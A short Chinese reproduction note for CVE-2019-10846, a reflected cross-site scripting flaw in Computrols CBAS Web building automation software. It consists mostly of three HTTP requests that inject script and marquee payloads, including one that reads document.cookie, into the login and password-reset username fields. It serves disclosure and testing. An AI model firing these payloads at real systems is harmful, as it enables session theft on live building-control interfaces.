（CVE-2019-10846）Computrols CBAS Web反射型xss¶

一、漏洞简介¶

Computrols CBAS Web是美国Computrols公司的一套楼宇自动化系统

二、漏洞影响¶

Computrols CBAS Web\<=19.0.0

三、复现过程¶

1、¶

POST /cbas/index.php?m=auth&a=verifyid HTTP/1.1

username="><script>confirm(document.cookie)</script>&submit_button=Send+Me+a+New+Password+Via+Email

2、¶

POST /cbas/index.php?m=auth&a=login HTTP/1.1

username="><marquee>htmlinjection</marquee>&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62

3、¶

GET /cbas/index.php?m=auth&a=login&username="><marquee>my milkshake brings all the boys to the yard.</marquee>&password=damn_right HTTP/1.1